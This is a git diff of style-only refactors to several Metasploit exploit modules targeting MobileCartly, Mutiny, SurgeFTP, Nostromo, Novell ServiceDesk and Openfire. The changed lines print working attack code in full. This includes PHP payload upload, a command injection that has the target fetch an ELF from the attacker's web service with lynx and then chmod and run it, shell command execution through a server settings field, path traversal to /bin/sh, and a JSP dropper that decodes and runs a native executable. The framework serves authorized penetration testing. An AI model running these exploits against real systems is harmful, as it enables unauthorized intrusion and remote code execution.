normalize_uri(uri, "/index.php") }) + res = send_request_raw({ 'uri' => normalize_uri(uri, '/index.php') }) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else @@ -84,22 +84,22 @@ class MetasploitModule < Msf::Exploit::Remote # # Configure payload names # - php_fname = Rex::Text.rand_text_alpha(5) + ".php" + php_fname = Rex::Text.rand_text_alpha(5) + '.php' # # Upload payload # - print_status("Uploading payload") + print_status('Uploading payload') res = send_request_cgi({ - 'uri' => normalize_uri(base, "/includes/savepage.php"), + 'uri' => normalize_uri(base, '/includes/savepage.php'), 'vars_get' => { 'savepage' => php_fname, - 'pagecontent' => get_write_exec_payload(:unlink_self => true) + 'pagecontent' => get_write_exec_payload(unlink_self: true) } }) - if not res - print_error("No response from server, will not continue.") + if !res + print_error('No response from server, will not continue.') return end diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 89b94fbaf8..c0404b0fce 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Unix CMD', { 'Arch' => ARCH_CMD, - 'Platform' => 'unix', + 'Platform' => 'unix' # 'Payload' => # { # 'Compat' => @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote self.needs_cleanup = true end - def lookup_lhost() + def lookup_lhost # Get the source address if datastore['SRVHOST'] == '0.0.0.0' Rex::Socket.source_address('50.50.50.50') @@ -95,30 +95,32 @@ class MetasploitModule < Msf::Exploit::Remote def on_new_session(session) cmds = [] - cmds = [ - %Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|, - %Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|, - %Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|, - %Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|, - %Q|mv -f ifcfg-eth0.bak ifcfg-eth0|, - %Q|/etc/init.d/network restart| - ] if @netmask_eth0 - cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/ - - print_status("Restoring Network Information and Cleanup...") - begin - session.shell_command_token(cmds.join(" ; ")) - rescue - print_error("Automatic restore and cleanup didn't work, please use these commands:") - cmds.each { |cmd| - print_warning(cmd) - } + if @netmask_eth0 + cmds = [ + %(echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask), + %(tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak), + %(mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask), + %(sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak), + %(mv -f ifcfg-eth0.bak ifcfg-eth0), + %(/etc/init.d/network restart) + ] end - print_good("Restoring and Cleanup successful") + cmds << %(rm /tmp/#{@elfname}.elf) unless target.name =~ /CMD/ + + print_status('Restoring Network Information and Cleanup...') + begin + session.shell_command_token(cmds.join(' ; ')) + rescue StandardError + print_error("Automatic restore and cleanup didn't work, please use these commands:") + cmds.each do |cmd| + print_warning(cmd) + end + end + print_good('Restoring and Cleanup successful') end def start_web_service - print_status("Setting up the Web Service...") + print_status('Setting up the Web Service...') resource_uri = '/' + @elfname + '.elf' service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}" @@ -126,9 +128,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -139,10 +141,10 @@ class MetasploitModule < Msf::Exploit::Remote # wait for the data to be sent def wait_linux_payload - print_status("Waiting for the victim to request the ELF payload...") + print_status('Waiting for the victim to request the ELF payload...') waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) @@ -158,19 +160,19 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) vprint_status("on_request_uri called, #{request} requested") - if (not @elf_data) + if (!@elf_data) print_error("A request came in, but the ELF archive wasn't ready yet!") return end - print_good("Sending the ELF payload to the target...") + print_good('Sending the ELF payload to the target...') @elf_sent = true send_response(cli, @elf_data) end def check res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'logon.jsp'), + 'uri' => normalize_uri(target_uri.path, 'logon.jsp') }) if res and res.body =~ /: Mutiny : Login @ mutiny/ @@ -181,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Login with the provided credentials...") + print_status('Login with the provided credentials...') res = send_request_cgi({ 'method' => 'POST', @@ -194,49 +196,49 @@ class MetasploitModule < Msf::Exploit::Remote }) if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/ - print_good("Login Successful") - session = $1 + print_good('Login Successful') + session = ::Regexp.last_match(1) else fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny") end - print_status("Leaking current Network Information...") + print_status('Leaking current Network Information...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'), - 'cookie' => "JSESSIONID=#{session}", + 'cookie' => "JSESSIONID=#{session}" }) if res and res.code == 200 and res.body =~ /Ethernet Interfaces/ - address_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "") - @netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "") - gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "") - dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "") - static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "") - static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "") - static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "") - print_good("Information leaked successfully") + address_eth0 = (res.body =~ %r{<input type="text" value="(.*)" name="addresseth0" class="textInput" />} ? ::Regexp.last_match(1) : '') + @netmask_eth0 = (res.body =~ %r{<input type="text" value="(.*)" name="netmasketh0" class="textInput" />} ? ::Regexp.last_match(1) : '') + gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? ::Regexp.last_match(1) : '') + dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? ::Regexp.last_match(1) : '') + static_route_address = (res.body =~ %r{<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" />} ? ::Regexp.last_match(1) : '') + static_route_netmask = (res.body =~ %r{<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" />} ? ::Regexp.last_match(1) : '') + static_route_gateway = (res.body =~ %r{<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" />} ? ::Regexp.last_match(1) : '') + print_good('Information leaked successfully') else - print_error("Error leaking information, trying to exploit with random values") + print_error('Error leaking information, trying to exploit with random values') end if target.name =~ /CMD/ - injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3)) + injection = @netmask_eth0.dup || rand_text_alpha(rand(5..7)) injection << "; #{payload.encoded}" else - print_status("Generating the ELF Payload...") + print_status('Generating the ELF Payload...') @elf_data = generate_payload_exe - @elfname = Rex::Text.rand_text_alpha(3 + rand(3)) + @elfname = Rex::Text.rand_text_alpha(rand(3..5)) service_url = start_web_service - injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3)) + injection = @netmask_eth0.dup || rand_text_alpha(rand(5..7)) injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf" injection << "; chmod +x /tmp/#{@elfname}.elf" injection << "; /tmp/#{@elfname}.elf" end - print_status("Exploiting Command Injection...") + print_status('Exploiting Command Injection...') send_request_cgi({ 'method' => 'POST', @@ -244,13 +246,13 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => "JSESSIONID=#{session}", 'vars_post' => { - "addresseth0" => address_eth0 || rand_text_alpha(5 + rand(3)), - "netmasketh0" => injection, - "Gateway" => gateway || rand_text_alpha(5 + rand(3)), - "dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)), - "staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)), - "staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)), - "staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3)) + 'addresseth0' => address_eth0 || rand_text_alpha(rand(5..7)), + 'netmasketh0' => injection, + 'Gateway' => gateway || rand_text_alpha(rand(5..7)), + 'dnsaddress0' => dns_address || rand_text_alpha(rand(5..7)), + 'staticRouteAddress' => static_route_address || rand_text_alpha(rand(5..7)), + 'staticRouteNetmask' => static_route_netmask || rand_text_alpha(rand(5..7)), + 'staticRouteGateway' => static_route_gateway || rand_text_alpha(rand(5..7)) } }, 1) diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 5b21335445..3c5b364bcc 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], - 'Reliability' => [ REPEATABLE_SESSION, ], + 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, opts) + def execute_command(cmd, _opts) http_send_command("cmd.exe /q /c #{cmd}") end @@ -72,46 +72,46 @@ class MetasploitModule < Msf::Exploit::Remote 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'vars_post' => { - 'global_smtp' => "", - 'global_restart' => "", - 'global_style' => "", - 'global_bind' => "", - 'global_passive_ip' => "", - 'global_passive_match' => "", - 'global_logon_mode' => "", - 'global_log_host' => "", - 'global_login_error' => "", - 'global_adminip' => "", - 'global_total_users' => "", - 'global_con_perip' => "", - 'global_ssl' => "", - 'global_ssl_cipher_list' => "", - 'global_implicit_port' => "", - 'log_level' => "", - 'log_home' => "", - 'global_watcher_program_ul' => "", - 'global_watcher_program_dl' => "", + 'global_smtp' => '', + 'global_restart' => '', + 'global_style' => '', + 'global_bind' => '', + 'global_passive_ip' => '', + 'global_passive_match' => '', + 'global_logon_mode' => '', + 'global_log_host' => '', + 'global_login_error' => '', + 'global_adminip' => '', + 'global_total_users' => '', + 'global_con_perip' => '', + 'global_ssl' => '', + 'global_ssl_cipher_list' => '', + 'global_implicit_port' => '', + 'log_level' => '', + 'log_home' => '', + 'global_watcher_program_ul' => '', + 'global_watcher_program_dl' => '', 'authent_process' => command, - 'authent_cmdopts' => "", - 'authent_number' => "", - 'authent_domain' => "", - 'global_strip_user_domain' => "", - 'global_noclass' => "", - 'global_anon_hammer_over_time' => "", - 'global_anon_hammer_max' => "", - 'global_anon_hammer_block_time' => "", - 'global_port' => "", - 'global_mgr_port' => "", - 'global_mgr_ssl_port' => "", - 'cmd_global_save.x' => "36", - 'cmd_global_save.y' => "8", + 'authent_cmdopts' => '', + 'authent_number' => '', + 'authent_domain' => '', + 'global_strip_user_domain' => '', + 'global_noclass' => '', + 'global_anon_hammer_over_time' => '', + 'global_anon_hammer_max' => '', + 'global_anon_hammer_block_time' => '', + 'global_port' => '', + 'global_mgr_port' => '', + 'global_mgr_ssl_port' => '', + 'cmd_global_save.x' => '36', + 'cmd_global_save.y' => '8' } } ) if res and res.body =~ /401 Authorization failed/ - fail_with(Failure::NoAccess, "Unable to log in!") - elsif not (res and res.code == 200) + fail_with(Failure::NoAccess, 'Unable to log in!') + elsif !(res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute command.') end end @@ -120,11 +120,11 @@ class MetasploitModule < Msf::Exploit::Remote case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending command stager...") - execute_cmdstager({ :linemax => 500 }) + execute_cmdstager({ linemax: 500 }) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") - http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|) + http_send_command(%(/bin/sh -c "#{payload.encoded}")) end handler diff --git a/modules/exploits/multi/http/nostromo_code_exec.rb b/modules/exploits/multi/http/nostromo_code_exec.rb index 8068ecf0a7..1c475ccc45 100644 --- a/modules/exploits/multi/http/nostromo_code_exec.rb +++ b/modules/exploits/multi/http/nostromo_code_exec.rb @@ -65,11 +65,11 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), + 'uri' => normalize_uri(target_uri.path) }) unless res - vprint_error("Connection failed") + vprint_error('Connection failed') return CheckCode::Unknown end @@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'), @@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # These CheckCodes are allowed to pass automatically - checkcodes = [ + [ CheckCode::Appears, CheckCode::Vulnerable ] diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb index a9b25f1cfc..48b0fa2167 100644 --- a/modules/exploits/multi/http/novell_servicedesk_rce.rb +++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb @@ -78,12 +78,12 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri('LiveTime', 'WebObjects', 'LiveTime.woa'), 'method' => 'GET', 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' } }) - if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/ - return $1.to_f + if res && res.code == 200 && res.body.to_s =~ %r{<p class="login-version-title">\Version \#([0-9.]+)</p>} + return ::Regexp.last_match(1).to_f else return 999 end @@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{peer} - Determining target") - os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} + os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} traversal_paths = [] if datastore['TRAVERSAL_PATH'] @@ -123,49 +123,49 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri('LiveTime', jsp_name), 'method' => 'GET', 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' }, 'cookie' => @cookies }) - if res && res.code == 200 - if res.body.to_s =~ /Windows/ - @my_target = targets[2] - else - # Linux here - @my_target = targets[1] - end - if traversal_path.include? '/srv/tomcat6/webapps/' - register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) - else - register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) - end - return traversal_path + next unless res && res.code == 200 + + if res.body.to_s =~ /Windows/ + @my_target = targets[2] + else + # Linux here + @my_target = targets[1] end + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + return traversal_path end return nil end def upload_jsp(traversal_path, jsp) - jsp_name = Rex::Text.rand_text_alpha(6 + rand(8)) + ".jsp" + jsp_name = Rex::Text.rand_text_alpha(rand(6..13)) + '.jsp' post_data = Rex::MIME::Message.new - post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") + post_data.add_part(jsp, 'application/octet-stream', 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") data = post_data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@upload_url), 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' }, 'cookie' => @cookies, 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if not res && res.code == 200 + if !(res && res.code == 200) fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...") else return jsp_name @@ -173,31 +173,31 @@ class MetasploitModule < Msf::Exploit::Remote end def create_jsp - opts = { :arch => @my_target.arch, :platform => @my_target.platform } - payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + opts = { arch: @my_target.arch, platform: @my_target.platform } + exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) - native_payload_name = rand_text_alpha(rand(6) + 3) + native_payload_name = rand_text_alpha(rand(3..8)) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' - var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) - var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) - var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) - var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) - var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) - var_path = Rex::Text.rand_text_alpha(rand(8) + 3) - var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) + var_raw = Rex::Text.rand_text_alpha(rand(3..10)) + var_ostream = Rex::Text.rand_text_alpha(rand(3..10)) + var_buf = Rex::Text.rand_text_alpha(rand(3..10)) + var_decoder = Rex::Text.rand_text_alpha(rand(3..10)) + var_tmp = Rex::Text.rand_text_alpha(rand(3..10)) + var_path = Rex::Text.rand_text_alpha(rand(3..10)) + var_proc2 = Rex::Text.rand_text_alpha(rand(3..10)) if @my_target['Platform'] == 'linux' - var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) - chmod = %Q| + var_proc1 = Rex::Text.rand_text_alpha(rand(3..10)) + chmod = %| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | - var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) - cleanup = %Q| + var_proc3 = Rex::Text.rand_text_alpha(rand(3..10)) + cleanup = %| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | @@ -206,7 +206,7 @@ class MetasploitModule < Msf::Exploit::Remote cleanup = '' end - jsp = %Q| + jsp = %| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% @@ -232,35 +232,35 @@ class MetasploitModule < Msf::Exploit::Remote jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') - jsp = jsp.gsub(/\x0d\x0a/, "") - jsp = jsp.gsub(/\x0a/, "") + jsp = jsp.gsub(/\x0d\x0a/, '') + jsp = jsp.gsub(/\x0a/, '') return jsp end def exploit - version = get_version + get_version # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'), 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' } }) - if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ - login_url = $2 + if res && res.code == 200 && res.body.to_s =~ %r{class="login-form"(.*)action="([\w/.]+)(;jsessionid=)*} + login_url = ::Regexp.last_match(2) @cookies = res.get_cookies - if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/ - password_form = $1 + if res.body.to_s =~ %r{type="password" name="([\w.]+)" />} + password_form = ::Regexp.last_match(1) else # we shouldn't hit this condition at all, this is default for v7+ password_form = 'password' end - if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/ - username_form = $1 + if res.body.to_s =~ %r{type="text" name="([\w.]+)" />} + username_form = ::Regexp.last_match(1) else # we shouldn't hit this condition at all, this is default for v7+ username_form = 'username' @@ -274,7 +274,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(login_url), 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' }, 'cookie' => @cookies, 'vars_post' => { @@ -285,38 +285,36 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res.code == 200 && - (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above - res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5 - import_url = $1 - else + (res.body.to_s =~ %r{id="clientListForm" action="([\w/.]+)">} || # v7 and above + res.body.to_s =~ %r{<form method="post" action="([\w/.]+)">}) # v6.5 + import_url = ::Regexp.last_match(1) + elsif res && res.code == 200 && res.body.to_s =~ %r{class="login-form"(.*)action="([\w/.]+)(;jsessionid=)*} && + res.body.to_s =~ /This account is in use on another system/ # hmm either the password is wrong or someone else is using "our" account.. . # let's try to boot him out - if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ && - res.body.to_s =~ /This account is in use on another system/ - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(login_url), - 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', - }, - 'cookie' => @cookies, - 'vars_post' => { - username_form => datastore['USERNAME'], - password_form => datastore['PASSWORD'], - 'ButtonLoginOverride' => 'Login' - } - }) - if res && res.code == 200 && - (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above - res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5 - import_url = $1 - else - fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") - end + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLoginOverride' => 'Login' + } + }) + if res && res.code == 200 && + (res.body.to_s =~ %r{id="clientListForm" action="([\w/.]+)">} || # v7 and above + res.body.to_s =~ %r{<form method="post" action="([\w/.]+)">}) # v6.5 + import_url = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") end + + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") end # 3: get the upload_url @@ -324,7 +322,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(import_url), 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' }, 'cookie' => @cookies, 'vars_post' => { @@ -333,18 +331,18 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res.code == 200 && - (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above - res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5 - @upload_url = $1 + (res.body.to_s =~ %r{id="clientImportUploadForm" action="([\w/.]+)">} || # v7 and above + res.body.to_s =~ %r{<form method="post" enctype="multipart/form-data" action="([\w/.]+)">}) # v6.5 + @upload_url = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.") end - if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/ - @upload_form = $1 + if res.body.to_s =~ %r{<input type="file" name="([0-9.]+)" />} + @upload_form = ::Regexp.last_match(1) else # go with the default for 7.1.0, might not work with other versions... - @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23" + @upload_form = '0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23' end # 4: target selection diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 37ed0432c7..67b8877846 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -8,7 +8,7 @@ require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /(Jetty)/ ] } + HttpFingerprint = { pattern: [ /(Jetty)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -61,14 +61,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ] ], @@ -101,27 +101,27 @@ class MetasploitModule < Msf::Exploit::Remote base = target_uri.path base << '/' if base[-1, 1] != '/' - path = normalize_uri(base, "login.jsp") + path = normalize_uri(base, 'login.jsp') res = send_request_cgi( { 'uri' => path } ) - if (not res) or (res.code != 200) + if (!res) or (res.code != 200) vprint_error("Unable to make a request to: #{path}") return Exploit::CheckCode::Unknown end - versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/ + versioncheck = res.body =~ %r{Openfire, \D*: (\d)\.(\d).(\d)\s*</div>} - if versioncheck.nil? then - vprint_error("Unable to detect Openfire version") + if versioncheck.nil? + vprint_error('Unable to detect Openfire version') return Exploit::CheckCode::Unknown end - vprint_status("Detected version: #{$1}.#{$2}.#{$3}") - version = "#{$1}#{$2}#{$3}".to_i + vprint_status("Detected version: #{::Regexp.last_match(1)}.#{::Regexp.last_match(2)}.#{::Regexp.last_match(3)}") + version = "#{::Regexp.last_match(1)}#{::Regexp.last_match(2)}#{::Regexp.last_match(3)}".to_i return Exploit::CheckCode::Safe if version > 360 @@ -133,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote } ) - if (not res) or (res.code != 200) + if (!res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return Exploit::CheckCode::Unknown end @@ -143,25 +143,25 @@ class MetasploitModule < Msf::Exploit::Remote def get_plugin_jar(plugin_name) files = [ - [ "logo_large.gif" ], - [ "logo_small.gif" ], - [ "readme.html" ], - [ "changelog.html" ], - [ "lib", "plugin-metasploit.jar" ] + [ 'logo_large.gif' ], + [ 'logo_small.gif' ], + [ 'readme.html' ], + [ 'changelog.html' ], + [ 'lib', 'plugin-metasploit.jar' ] ] jar = Rex::Zip::Jar.new - jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin")) + jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin')) - plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8 + rand(8)) - plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8 + rand(8)) + plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(rand(8..15)) + plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(rand(8..15)) - plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") { |fd| fd.read() } + plugin_xml = File.open(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'), 'rb') { |fd| fd.read } plugin_xml.gsub!(/PLUGINNAME/, plugin_name) plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc) plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author) - jar.add_file("plugin.xml", plugin_xml) + jar.add_file('plugin.xml', plugin_xml) jar end @@ -170,14 +170,14 @@ class MetasploitModule < Msf::Exploit::Remote base = normalize_uri(target_uri.path) base << '/' if base[-1, 1] != '/' - plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8 + rand(8)) + plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(rand(8..15)) plugin = 